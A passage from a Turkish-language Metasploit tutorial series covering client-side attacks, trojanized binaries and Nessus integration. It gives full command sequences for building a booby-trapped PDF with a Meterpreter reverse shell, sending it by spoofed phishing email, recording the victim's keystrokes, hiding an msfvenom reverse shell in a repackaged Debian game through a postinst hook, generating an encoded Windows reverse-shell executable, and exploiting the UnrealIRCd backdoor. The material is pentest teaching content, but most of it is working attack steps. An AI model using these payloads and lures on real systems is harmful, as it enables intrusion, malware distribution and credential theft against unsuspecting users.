**[**+] Exploit finished, wait **for** **(**hopefully privileged**)** payload execution to complete.
> Sending stage **(**769024 bytes**)** to 192.168.1.71
> Meterpreter session 2 opened **(**192.168.1.161:4443 -> 192.168.1.71:49204**)** at 2014-03-11 11:14:00 -0400
Gerekli modül ve payload ayarlarını yaptıktan sonra çalıştırılan exploit, hedef sistemde bir oturum açmayı başarmıştır. Şimdi getuid komutunu verdiğimizde SYSTEM yetkili bir kullanıcı gibi hareket edilebileceği aşağıda görülmektedir.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >```
2.35 - MSF Binary İstemci Exploitleri
İstemci Tarafı Exploitler
Önceki yazılarımızda Windows ve Linux için kullanılan istemci tarafı exploitleri görmüştük. Bu yazımızda başka bir senaryoya bakmak istiyorum.
Başarılı bir bilgi toplama safhasından sonra bir IT firması ile ilgili şu sonuca ulaştığımızı farz edelim. Firma;
Şimdi bu durumda, IT departmanında bir bilgisayara ulaşmak ve keylogger adı verilen (tuş kaydedici) çalıştırmak istiyoruz. Bu sayede klavyeden bastıkları tuşları kayıt ederek yararlı bilgiler elde etmek mümkün olacaktır.
msfconsole komutu ile Metasploit Framework’ü çalıştıralım. IT departmanının ilgisini çekecek ve açıp okumak isteyeceği bir PDF dokümanı hazırlayalım. Dokümanın güvenlikle ilgili ve mantıklı bir başlığının olması gerektiğini unutmayın. Ayrıca Antivirüs yazılımları tarafından zararlı olarak algılanmaması gerekmektedir.
Böyle bir PDF dokümanı hazırlamak için Adobe Reader ‘util.printf()’ JavaScript Function Stack Buffer Overflow Zafiyetini kullanacağız. Bunun için exploit/windows/fileformat/adobe_utilprintf modülünü yükleyelim.
msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit**(**adobe_utilprintf**)** > set FILENAME BestComputers-UpgradeInstructions.pdf
FILENAME **=>** BestComputers-UpgradeInstructions.pdf
msf exploit**(**adobe_utilprintf**)** > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD **=>** windows/meterpreter/reverse_tcp
msf exploit**(**adobe_utilprintf**)** > set LHOST 192.168.8.128
LHOST **=>** 192.168.8.128
msf exploit**(**adobe_utilprintf**)** > set LPORT 4455LPORT **=>** 4455msf exploit**(**adobe_utilprintf**)** > show options
Module options **(**exploit/windows/fileformat/adobe_utilprintf**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME BestComputers-UpgradeInstructions.pdf yes The file name.
Payload options **(**windows/meterpreter/reverse_tcp**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique **(**Accepted: '', seh, thread, process, none**)**
LHOST 192.168.8.128 yes The listen address
LPORT 4455 yes The listen port
Exploit target:
Id Name
-- ----
0 Adobe Reader v8.1.2 **(**Windows XP SP3 English**)**
Çıktıdan da görüleceği gibi FILENAME değişkenini yani dosya adını istediğiniz gibi ayarlayabilirsiniz. Payload kısmında ise LHOST ve LPORT değişkenlerini dinleme yapılacak bilgisayarın bilgileri olarak ayarlamamız gerekmektedir. Ardında exploit komutu ile modülü çalıştıralım.
Görüldüğü gibi PDF dosyası, /root/.msf4/local/ içerisine oluşturulmuştur. Bu dosyayı kolay ulaşım için /tmp klasörü içine kopyalayalım. Şimdi dosyamızı ilgili eposta adresine göndermeden önce bilgisayarımızda dinleyici modülü çalıştırmamız gerekiyor. Bunun için exploit/multi/handler modülünü kullanacağız. LHOST ve LPORT değerlerini PDF dosyası oluştururken verdiğimiz değerlerle aynı olmasına dikkat ediyoruz.
msf > use exploit/multi/handler
msf exploit**(**handler**)** > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD **=>** windows/meterpreter/reverse_tcp
msf exploit**(**handler**)** > set LPORT 4455LPORT **=>** 4455msf exploit**(**handler**)** > set LHOST 192.168.8.128
LHOST **=>** 192.168.8.128
msf exploit**(**handler**)** > exploit
> Handler binding to LHOST 0.0.0.0
> Started reverse handler
> Starting the payload handler...
Dinleyici modülü aktif hale getirdikten sonra bir şekilde PDF dosyasını itdept@victim.com adresine göndermemiz gerekiyor. Bunu aşağıdaki örnek komutla yapabilirsiniz. Başka eposta gönderme yöntemleri de kullanabilirsiniz. Komut örnek olarak verilmiştir.
root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing **in **a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
IT Dept,
We are sending this important file to all our customers. It contains very important instructions **for **upgrading and securing your software. Please read and let us know **if **you have any problems.
Sincerely,
Best Computers Tech Support
Aug 24 17:32:51 kali sendEmail[13144]: Message input complete.
Aug 24 17:32:51 kali sendEmail[13144]: Email was sent successfully!
Bu örnek komutta kullanılan parametreleri kısaca açıklayalım.
-t: TO yani alıcı adresi ifade eder. -f: FROM yani gönderici adresi ifade eder. -s: SMTP Server IP adresini ifade eder. -u: TTITLE yani postanın konusunu ifade eder. -a: ATTACHMENT yani ekli dosyayı ifade eder.
Komutu yazıp ENTER tuşuna bastığınızda, epostanın Metin kısmını yazmaya başlayabilirsiniz. Yazım tamamlandıktan sonra CTRL+D tuşları ile işlemi tamamlayabilirsiniz. Böylece posta alıcı adrese gönderilecektir.
Alıcı, bu postayı alıp Antivirüs programı ile kontrol ettiğinde zararsız olarak sonuç alacaktır ancak dosyayı açmak için tıkladığında karşısına boş bir ekran gelse bile aslında dinleyici bilgisayarla iletişim kurulmuş olur.
> Handler binding to LHOST 0.0.0.0
> Started reverse handler
> Starting the payload handler...
> Sending stage **(**718336 bytes**)**
session[*******]** Meterpreter session 1 opened **(**192.168.8.128:4455 -> 192.168.8.130:49322**)**
meterpreter >
Gördüğünüz gibi, PDF dosyası açıldığında Meterpreter shell açılmış durumdadır. Artık karşı tarafın bilgisayarında çeşitli komutları çalıştırmak mümkündür. Son olarak post/windows/capture/keylog_recorder modülünü çalıştırarak tuş hareketlerini kaydetmek mümkün hale gelmiştir.
meterpreter > ps
Process list
**============**
PID Name Path
--- ---- ----
852 taskeng.exe C:\Windows\system32\taskeng.exe
1308 Dwm.exe C:\Windows\system32\Dwm.exe
1520 explorer.exe C:\Windows\explorer.exe
2184 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe
2196 VMwareUser.exe C:\Program FilesVMware\VMware Tools\VMwareUser.exe
3176 iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe
3452 AcroRd32.exe C:\Program Files\AdobeReader 8.0\ReaderAcroRd32.exe
meterpreter > run post/windows/manage/migrate
> Running module against V-MAC-XP
> Current server process: svchost.exe **(**1076**)**
> Migrating to explorer.exe...
> Migrating into process ID 816> New server process: Explorer.EXE **(**816**)**
meterpreter > sysinfo
Computer: OFFSEC-PC
OS : Windows Vista **(**Build 6000, **)**.
meterpreter > use priv
Loading extension priv...success.
meterpreter > run post/windows/capture/keylog_recorder
> Executing module against V-MAC-XP
> Starting the keystroke sniffer...
> Keystrokes being saved **in **to /root/.msf4/loot/20110323091836_default_192.168.1.195_host.windows.key_832155.txt
> Recording keystrokes...
Kaydedilen tuşları, 20110323091836_default_192.168.1.195_host.windows.key_832155.txt dosyasının içeriğinden kontrol edebilirsiniz.
root@kali:~# cat /root/.msf4/loot/20110323091836_default_192.168.1.195_host.windows.key_832155.txt
Keystroke log started at Wed Mar 23 09:18:36 -0600 2011Support, I tried to open ti his file 2-3 times with no success. I even had my admin and CFO tru y it, but no one can get it to p open. I turned on the rmote access server so you can log **in **to fix our p this problem. Our user name is admin and password **for **that session is 123456. Call or eme ail when you are **done**. Thanks IT Dept
Görüldüğü gibi IT çalışanı, tuş hareketlerinde kullanıcı adının admin ve parolasının 123456 olduğunu habersizce ortaya çıkarmıştır.
2.36 - MSF Binary Linux Trojan
İstemci taraflı saldırılara örnek olarak bir önceki yazımızda Windows platformu için .exe uzantılı bir çalıştırılabilir dosya oluşturmuştuk. Linux işletim sistemlerinin kullandığı tıkla ve çalıştır dosya tiplerinde de dosya oluşturabiliriz. Bu yazıda, .deb uzantılı bir dosya oluşturacağız.
İstemci taraflı saldırılara örnek olarak bir önceki yazımızda Windows platformu için .exe uzantılı bir çalıştırılabilir dosya oluşturmuştuk. Linux işletim sistemlerinin kullandığı tıkla ve çalıştır dosya tiplerinde de dosya oluşturabiliriz. Bu yazıda, .deb uzantılı bir dosya oluşturacağız.
Ubuntu işletim sistemini hedef alan bu dosyanın oluşturulması ilk olarak biraz karışık gelebilir ancak adımları teker teker inceleyerek devam ederseniz kavramak daha kolay olacaktır.
Öncelikle, içine payload yerleştireceğimiz bir programa ihtiyacımız var. Örnek olarak “Mine Sweeper” programını kullanalım.
Paketi indirelim
Paketi --download-only parametresiyle indirdiğimizde, işletim sistemimize kurulmayacaktır. Daha sonra indirdiğimiz paketi üzerinde çalışmak üzere oluşturacağımız /tmp/evil klasörüne taşıyacağız.
root@kali:~# apt-get --download-only install freesweep
Reading package lists... Done
Building dependency tree
Reading state information... Done
...snip...
root@kali:~# mkdir /tmp/evil
root@kali:~# mv /var/cache/apt/archives/freesweep_0.90-1_i386.deb /tmp/evil
root@kali:~# cd /tmp/evil/
root@kali:/tmp/evil#
Artık /tmp/evil klasörünün içerisinde freesweep_0.90-1_i386.deb isimli bir Debian paketimiz var. İndirdiğiniz .deb uzantılı dosyanın ismi ve sürüm numarası farklı olabilir. İsmini ls komutuyla kontrol ederek örneklerdeki komutlara o şekilde uygulamalısınız.
Paketi Açalım
Şimdi bu .deb uzantılı paketi, sıkıştırılmış bir dosyayı açmaya benzer şekilde açmamız gerekiyor. Bu paketi aşağıdaki komutla /tmp/evil klasörü içinde work klasörüne çıkartıyoruz. Ardından, bizim ilave edeceğimiz özelliklerin bulunacağı DEBIAN isimli bir klasörü /tmp/evil/work klasörü altına oluşturuyoruz.
root@kali:/tmp/evil# dpkg -x freesweep_0.90-1_i386.deb work
root@kali:/tmp/evil# mkdir work/DEBIAN
control Dosyası oluşturalım
Debian klasörünün içerisinde control isimli bir dosya oluşturup içerisine aşağıdaki Metni yapıştırıp kaydediyoruz. Dosya içeriği aşağıdaki gibi cat control komutuyla kontrol ediyoruz.
control dosyası içeriği
Package: freesweep
Version: 0.90-1
Section: Games and Amusement
Priority: optional
Architecture: i386
Maintainer: Ubuntu MOTU Developers **(**ubuntu-motu@lists.ubuntu.com**)**
Description: a text-based minesweeper
Freesweep is an implementation of the popular minesweeper game, where
one tries to find all the mines without igniting any, based on hints given
by the computer. Unlike most implementations of this game, Freesweep
works **in **any visual text display - **in **Linux console, **in **an xterm, and **in
**most text-based terminals currently **in **use.
postinst dosyası oluşturalım
Kurulum sonrası çalışması için ayrıca bir bash script dosyasına daha ihtiyacımız var. Yine yukarıdaki gibi DEBIAN klasörü içine postinst isimli bir dosya oluşturuyoruz. İçerisine aşağıdaki kod satırlarını yapıştırıyoruz.
postinst dosya içeriği
#!/bin/sh
sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &
Payload Oluşturalım
Şimdi içerisinde zararlı kodların olduğu dosyayı oluşturabiliriz. Bunun için aşağıdaki komutu kullanarak linux/x86/shell/reverse_tcp payload modülünü kullanacağız. Komut içerisinde LHOST ve LPORT olarak verdiğimiz değişkenleri kendiniz belirleyebilirsiniz.
root@kali:~# msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST**=**192.168.1.101 LPORT**=**443 -b "\x00" -f elf -o /tmp/evil/work/usr/games/freesweep_scores
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 98 **(**iteration**=**0**)**
x86/shikata_ga_nai chosen with final size 98Payload size: 98 bytes
Saved as: /tmp/evil/work/usr/games/freesweep_scores
Yeniden paketleme
Artık, postinst dosyamızı çalıştırılabilir hale getirip .deb paketini derleyebiliriz. Komut sonucunda oluşturulacak work.deb paketinin ismini freesweep.deb olarak değiştirip Apache Server klasörüne (/var/www veya /var/www/html) yükleyebiliriz. Artık dosyamız Web sunucuda indirilebilir durumdadır.
Şimdi, bir tıklama veya çalıştırma ile gelecek bağlantı isteklerini dinlemek için dinleyici oluşturalım. Burada komuta vereceğimiz LHOST ve LPORT değerleri, payload oluştururken girilen değerler ile aynı olmalıdır.
root@kali:~# msfconsole -q -x "use exploit/multi/handler;set PAYLOAD linux/x86/shell/reverse_tcp; set LHOST 192.168.1.101; set LPORT 443; run; exit -y"PAYLOAD **=>** linux/x86/shell/reverse_tcp
LHOST **=>** 192.168.1.101
LPORT **=>** 443> Started reverse handler on 192.168.1.101:443
> Starting the payload handler...
Sonuç
Herhangi bir kullanıcı, bu hazırladığımız freesweep.deb paketini indirip çalıştırdığında dinleme yapan exploit/multi/handler modülümüz hedef bilgisayarda oturum açacaktır.
Görüldüğü gibi zararlı yazılımlar sadece Windows’a özel değildir. Linux kullanıcılarının da tıkla ve çalıştır programlara dikkatle yaklaşması gerekmektedir. Güvenilir olmayan kaynaklardan paket yüklememenizi tavsiye ediyoruz.
2.37 - MSF Binary Payloads
İstemci tarafı saldırılar, tüm ağ yöneticilerinin dikkat etmesi gerekli türden saldırılardır. Sisteminizin güvenliğini ne kadar sağlasanız da istemci tarafı saldırılar, kullanıcılarınızın zafiyetlerini kullanırlar.
İstemci Taraflı Saldırılar
İstemci tarafı saldırılar, tüm ağ yöneticilerinin dikkat etmesi gerekli türden saldırılardır. Sisteminizin güvenliğini ne kadar sağlasanız da istemci tarafı saldırılar, kullanıcılarınızın zafiyetlerini kullanırlar.
Pentest işlemi gerçekleştirenler, sistemde bulunan kullanıcının, bir şekilde linke tıklamasını veya zararlı yazılım çalıştırmasını sağladığında kendilerine hedef sistemde kapı açmış olurlar. Bu sebeple, istemci taraflı saldırılar, kullanıcıyla etkileşim gerektirmektedir. Bu tür saldırılar, sosyal mühendislik çalışmalarını da gerektirir.
Metasploit Framework, bu tür zararlı kodların oluşturması için bir çok modül sağlamaktadır.
binary payloads
binary payloads olarak adlandırılan çalıştırılabilir dosyalar, zararsız .exe dosyaları gibi görünse de aslında içinde tehlikeli kodlar bulunduran dosyalardır. Dosyayı alacak kullanıcıya, önemli bir dosya hissi uyandırarak tıklaması sağlanır ve zararlı kod çalışır.
Bu yazıda, Metasploit Framework tarafından sağlanan msfvenom komut satırı aracı kullanılacaktır. msfvenom kullanarak .exe, perl veya c program çıktıları elde edebilirsiniz. Burada .exe formatı kullanılacaktır.
Windows Reverse Shell Açan Payload Oluşturma
Hedef kullanıcının zararlı programı çalıştırdığında dinleyen IP adresine bağlanması için bir payload oluşturmak için windows/shell/reverse_tcp modülünü kullanacağız. Öncelikle bu modülün çalışmak için hangi değişkenlere ihtiyaç duyduğuna bakalım.
root@kali:~# msfvenom --payload-options -p windows/shell/reverse_tcp
Options **for **payload/windows/shell/reverse_tcp:
Name: Windows Command Shell, Reverse TCP Stager
Module: payload/windows/shell/reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 281 Rank: Normal
Provided by:
spoonm
sf
hdm
skape
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique **(**Accepted: '', seh, thread, process, none**)**
LHOST yes The listen address
LPORT 4444 yes The listen port
Description:
Spawn a piped command shell **(**staged**)**. Connect back to the attacker
Bu modül, çıktıda görüldüğü gibi LHOST ve LPORT değişkenlerinin ayarlanmasına ihtiyaç duymaktadır. Hedef platform olarak x86 mimari ve Windows işletim sistemi seçilmiştir. Oluşturacağımız payload için bir encoder kullanmamız gerekiyor. Bunun için de x86/shikata_ga_nai encoder modülünü kullanacağız. Bu şartlar altında aşağıdaki komut, encoder kullanarak /tmp klasörünün içinde 1.exe isimli bir dosya oluşturacaktır.
root@kali:~# msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST**=**172.16.104.130 LPORT**=**31337 -b "\x00" -e x86/shikata_ga_nai -f exe -o /tmp/1.exe
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 326 **(**iteration**=**0**)**
x86/shikata_ga_nai chosen with final size 326Payload size: 326 bytes
Saved as: /tmp/1.exe
1.exe dosyamızın türünü kontrol edelim. file komutuyla yaptığımız kontrolde 1.exe doyasının MS Windows dosyası olduğu aşağıda görülmektedir.
Elimizde istemcinin tıklayıp çalıştıracağı 1.exe dosyası artık hazır durumda. Şimdi, tıklama işlemi gerçekleştiğinde dinleyecek bir modülü çalıştırmamız gerekiyor. Bunun için exploit/multi/handler modülünü ve içinde payload windows/shell/reverse_tcp dinleyici payload u kullanacağız.
msf > use exploit/multi/handler
msf exploit**(**handler**)** > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Wildcard Target
Gördüğünüz gibi exploit modülünde herhangi bir zorunlu değişken bulunmuyor. Şimdi payload ayarlaması yapalım.
msf exploit**(**handler**)** > set payload windows/shell/reverse_tcp
payload **=>** windows/shell/reverse_tcp
msf exploit**(**handler**)** > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options **(**windows/shell/reverse_tcp**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port
Exploit target:
Id Name
-- ----
0 Wildcard Target
Bu çıktıda görülmektedir ki Payload için LHOST ve LPORT değerlerinin girilmesi gerekmekte.
LHOST: Local Host yani yerelde dinleyecek IP adresini,
LPORT: Local Port, yani dinleyecek Port numarasını ifade eder.
Bu değerlerin, msfvenom komutuyla oluşturduğumuz 1.exe dosyası için girdiğimiz değerler ile aynı olmasına dikkat edin. 1.exe dosyası içinde hangi değerler gömülü ise zararlı yazılım bu bilgilere göre haberleşme sağlamak isteyecektir.
msf exploit**(**handler**)** > set LHOST 172.16.104.130
LHOST **=>** 172.16.104.130
msf exploit**(**handler**)** > set LPORT 31337LPORT **=>** 31337msf exploit**(**handler**)** >
Tüm ayarlamaları yaptıktan sonra exploit komutuyla modül çalıştırılır ve dinlemeye başlanır. Aşağıda, dinleme sonucunda gerçekleşen bir istemci tıklaması sonucu açılan komut satırı görülmektedir.
msf exploit**(**handler**)** > exploit
> Handler binding to LHOST 0.0.0.0
> Started reverse handler
> Starting the payload handler...
> Sending stage **(**474 bytes**)**
> Command shell session 2 opened **(**172.16.104.130:31337 -> 172.16.104.128:1150**)**
Microsoft Windows XP **[**Version 5.1.2600]**(**C**)** Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Victim\My Documents>
2.38 - MSF İçinde Nessus Kullanmak
Nessus, kişisel ve ticari olmayan kullanım için ücretsiz olarak edinilebilen bir zafiyet tarama programıdır. Tenable firması tarafından geliştirilmekte olan Nessus tarama programını ve sonuçlarını Metasploit Framework içerisinde kullanabilirsiniz. Bu yazıda, genel hatlarıyla Nessus programının Metasploit Framework içerisinde kullanımını göreceğiz.
Nessus nedir?
Nessus, kişisel ve ticari olmayan kullanım için ücretsiz olarak edinilebilen bir zafiyet tarama programıdır. Tenable firması tarafından geliştirilmekte olan Nessus tarama programını ve sonuçlarını Metasploit Framework içerisinde kullanabilirsiniz. Bu yazıda, genel hatlarıyla Nessus programının Metasploit Framework içerisinde kullanımını göreceğiz.
Nessus Sonuçlarını İçe Aktarma
Nessus arayüzünde bir tarama yaptıktan sonra, sonuçları .nbe formatında kayıt edebilirsiniz. Bu dosyayı Metasploit Framework için db_import komutuyla aktaralım.
İçe aktarma işleminden sonra, hostskomutuyla tabloya kayıt edilen IP adreslerini kontrol edelim.
msf > hosts
Hosts
**=====**
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
172.16.194.1 one of these operating systems : Mac OS X 10.5 Mac OS X 10.6 Mac OS X 10.7 device
172.16.194.2 Unknown device
172.16.194.134 Microsoft Windows XP SP2 client
172.16.194.148 Linux Kernel 2.6 on Ubuntu 8.04 **(**hardy**)** device
172.16.194.163 Linux Kernel 3.2.6 on Ubuntu 10.04 device
172.16.194.165 phpcgi Linux phpcgi 2.6.32-38-generic-pae #83-Ubuntu SMP Wed Jan 4 12:11:13 UTC 2012 i686 device 172.16.194.172 Linux Kernel 2.6 on Ubuntu 8.04 **(**hardy**)** device
msf >
services Kontrolü
Ayrıca, services komutuyla, bulunan IP adreslerinde çalışan servisleri görüntüleyelim.
msf > services 172.16.194.172
Services
**========**
host port proto name state info
---- ---- ----- ---- ----- ----
172.16.194.172 21 tcp ftp open
172.16.194.172 22 tcp ssh open
172.16.194.172 23 tcp telnet open
172.16.194.172 25 tcp smtp open
172.16.194.172 53 udp dns open
172.16.194.172 53 tcp dns open
172.16.194.172 69 udp tftp open
172.16.194.172 80 tcp www open
172.16.194.172 111 tcp rpc-portmapper open
172.16.194.172 111 udp rpc-portmapper open
172.16.194.172 137 udp netbios-ns open
172.16.194.172 139 tcp smb open
172.16.194.172 445 tcp cifs open
172.16.194.172 512 tcp rexecd open
172.16.194.172 513 tcp rlogin open
172.16.194.172 514 tcp rsh open
172.16.194.172 1099 tcp rmi_registry open
172.16.194.172 1524 tcp open
172.16.194.172 2049 tcp rpc-nfs open
172.16.194.172 2049 udp rpc-nfs open
172.16.194.172 2121 tcp ftp open
172.16.194.172 3306 tcp mysql open
172.16.194.172 5432 tcp postgresql open
172.16.194.172 5900 tcp vnc open
172.16.194.172 6000 tcp x11 open
172.16.194.172 6667 tcp irc open
172.16.194.172 8009 tcp ajp13 open
172.16.194.172 8787 tcp open
172.16.194.172 45303 udp rpc-status open
172.16.194.172 45765 tcp rpc-mountd open
172.16.194.172 47161 tcp rpc-nlockmgr open
172.16.194.172 50410 tcp rpc-status open
172.16.194.172 52843 udp rpc-nlockmgr open
172.16.194.172 55269 udp rpc-mountd open
vulns Kontrolü
vulns komutuyla, Bu Ip adreslerinde çalışan servislere ait varsa zafiyetleri listeleyelim. vulns komutuyla listeleme yaparken çeşitli filtreleme seçeneklerini kullanabilirsiniz. Bunları help vulns komutuyla incelemenizi tavsiye ediyorum.
msf > help vulns
Print all vulnerabilities **in **the database
Usage: vulns **[**addr range] -h,--help Show this help information
-p,--port >portspec> List vulns matching this port spec
-s >svc names> List vulns matching these service names
-S,--search Search string to filter by
-i,--info Display Vuln Info
Examples:
vulns -p 1-65536 # only vulns with associated services vulns -p 1-65536 -s http # identified as http on any portmsf >
IP adreslerinde, 139 numaralı Portlara ait zafiyetleri görelim.
msf > vulns -p 139> Time: 2012-06-15 18:32:26 UTC Vuln: host**=**172.16.194.134 name**=**NSS-11011 refs**=**NSS-11011
> Time: 2012-06-15 18:32:23 UTC Vuln: host**=**172.16.194.172 name**=**NSS-11011 refs**=**NSS-11011
msf > vulns -p 22> Time: 2012-06-15 18:32:25 UTC Vuln: host**=**172.16.194.148 name**=**NSS-10267 refs**=**NSS-10267
> Time: 2012-06-15 18:32:25 UTC Vuln: host**=**172.16.194.148 name**=**NSS-22964 refs**=**NSS-22964
> Time: 2012-06-15 18:32:25 UTC Vuln: host**=**172.16.194.148 name**=**NSS-10881 refs**=**NSS-10881
> Time: 2012-06-15 18:32:25 UTC Vuln: host**=**172.16.194.148 name**=**NSS-39520 refs**=**NSS-39520
> Time: 2012-06-15 18:32:25 UTC Vuln: host**=**172.16.194.163 name**=**NSS-39520 refs**=**NSS-39520
> Time: 2012-06-15 18:32:25 UTC Vuln: host**=**172.16.194.163 name**=**NSS-25221 refs**=**NSS-25221
> Time: 2012-06-15 18:32:25 UTC Vuln: host**=**172.16.194.163 name**=**NSS-10881 refs**=**NSS-10881
> Time: 2012-06-15 18:32:25 UTC Vuln: host**=**172.16.194.163 name**=**NSS-10267 refs**=**NSS-10267
> Time: 2012-06-15 18:32:25 UTC Vuln: host**=**172.16.194.163 name**=**NSS-22964 refs**=**NSS-22964
> Time: 2012-06-15 18:32:24 UTC Vuln: host**=**172.16.194.172 name**=**NSS-39520 refs**=**NSS-39520
> Time: 2012-06-15 18:32:24 UTC Vuln: host**=**172.16.194.172 name**=**NSS-10881 refs**=**NSS-10881
> Time: 2012-06-15 18:32:24 UTC Vuln: host**=**172.16.194.172 name**=**NSS-32314 refs**=**CVE-2008-0166,BID-29179,OSVDB-45029,CWE-310,NSS-32314
> Time: 2012-06-15 18:32:24 UTC Vuln: host**=**172.16.194.172 name**=**NSS-10267 refs**=**NSS-10267
> Time: 2012-06-15 18:32:24 UTC Vuln: host**=**172.16.194.172 name**=**NSS-22964 refs**=**NSS-22964
172.16.194.172 IP adresine ait 6667 numaralı porta ait zafiyetleri görelim.
Arama sonucunda, exploit/unix/irc/unreal_ircd_3281_backdoor isimli bir exploit modülü bulunduğunu görüyoruz. Şimdi bu modülü kullanalım.
msf use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit**(**unreal_ircd_3281_backdoor**)** > exploit
> Started reverse double handler
> Connected to 172.16.194.172:6667...
:irc.Metasploitable.LAN NOTICE AUTH :******* Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :******* Couldn't resolve your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo Q4SefN7pIVSQUL2F;[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "Q4SefN7pIVSQUL2F\r "[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.194.163:4444 -> 172.16.194.172:35941) at 2012-06-15 15:08:51 -0400
ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:d1:62:80
inet addr:172.16.194.172 Bcast:172.16.194.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fed1:6280/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:290453 errors:0 dropped:0 overruns:0 frame:0
TX packets:402340 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:41602322 (39.6 MB) TX bytes:344600671 (328.6 MB) Interrupt:19 Base address:0x2000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:774 errors:0 dropped:0 overruns:0 frame:0
TX packets:774 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:343253 (335.2 KB) TX bytes:343253 (335.2 KB)id
uid=0(root)gid=0(root)
Exploit modülünün kullanımı ile Hedef IP adresinde bir komut satırı açılmıştır.
Nessus Programını Doğrudan MSF İçinden Kullanma
Önceki bölümde, Nessus programının yaptığı bir taramayı .nbe formatında kaydedip, Metasploit içerisine aktarım kullanmıştık. Komut satırını kullanmayı seviyorsanız, Nessus programını doğrudan komut satırından da kullanabilirsiniz. Bunun gerçekleşebilmesi için Metasploit Framework için geliştirilen Nessus Bridge Plugin isimli bir eklenti bulunmaktadır.
Nessus Bridge Eklentisi Başlatma
msfconsole içerisinden Nessus kullanım için gerekli eklentiyi yükleyelim.
Bu eklentinin bize sunduğu komutları görmek için, nessus_help yardım komutunu görüntüleyelim.
msf > nessus_help
**[**+] Nessus Help
**[**+]type nessus_help command **for **help with specific commands
Command Help Text
------- ---------
Generic Commands
----------------- -----------------
nessus_connect Connect to a nessus server
nessus_logout Logout from the nessus server
nessus_help Listing of available nessus commands
nessus_server_status Check the status of your Nessus Server
nessus_admin Checks **if **user is an admin
nessus_server_feed Nessus Feed Type
nessus_find_targets Try to find vulnerable targets from a report
Reports Commands
----------------- -----------------
nessus_report_list List all Nessus reports
nessus_report_get Import a report from the nessus server **in **Nessus v2 format
nessus_report_hosts Get list of hosts from a report
nessus_report_host_ports Get list of open ports from a host from a report
nessus_report_host_detail Detail from a report item on a host
Scan Commands
----------------- -----------------
nessus_scan_new Create new Nessus Scan
nessus_scan_status List all currently running Nessus scans
...snip...
Nessus Sunucuya Bağlanma
msfconsole içerisinden Nessus programına komut gönderebilmek için öncelikle Nessus sunucuya bağlanmamız gerekmektedir. Bunun için nessus_connect dook:s3cr3t@192.168.1.100 ok komut şablonunu kullanıyoruz. Burada dook Nessus için kullandığınız kullanıcı adınız , s3cr3t Nessus parolanızdır. 192.168.1.100 IP adresi yerine, sisteminizde Nessus sunucunun çalıştığı IP adresini yazmalısınız. Komutun sonundaki ok parametresi, Nessus’a dışarıdan bağlandığınızı ve güvenlik ikazını kabul ettiğinizi onaylamak için zorunludur.
msf > nessus_connect dook:s3cr3t@192.168.1.100
**[**-] Warning: SSL connections are not verified **in **this release, it is possible **for **an attacker
**[**-] with the ability to man-in-the-middle the Nessus traffic to capture the Nessus
**[**-] credentials. If you are running this on a trusted network, please pass **in** 'ok'**[**-] as an additional parameter to this command.
msf > nessus_connect dook:s3cr3t@192.168.1.100 ok
> Connecting to <a href="https://192.168.1.100:8834/">https://192.168.1.100:8834/</a> as dook
> Authenticated
msf >
Nessus Tarama Politikalarını Görüntüleme
Nessus sunucuda bulunan tarama politikalarını nessus_policy_list komutuyla görüntüleyelim. Herhangi bir tarama politikanız yoksa, Nessus Görsel arayüzüne giderek oluşturmanız gerekmektedir.
msf > nessus_policy_list
**[**+] Nessus Policy List
ID Name Owner visability
-- ---- ----- ----------
1 the_works dook private
msf >
Nessus İle Yeni Bir Tarama Başlatma
Artık tarama politikalarını da görüntüledikten sonra yeni bir tarama başlatabiliriz. Taramayı başlatmak için nessus_scan_new komutu kullanılır. Komut, nessus_scan_new, id, scan name, targets parçalarından oluşur. Aşağıda örneğini görebilirsiniz.
msf > nessus_scan_new
> Usage:
> nessus_scan_new policy id scan name targets
> use nessus_policy_list to list all available policies
msf > nessus_scan_new 1 pwnage 192.168.1.161
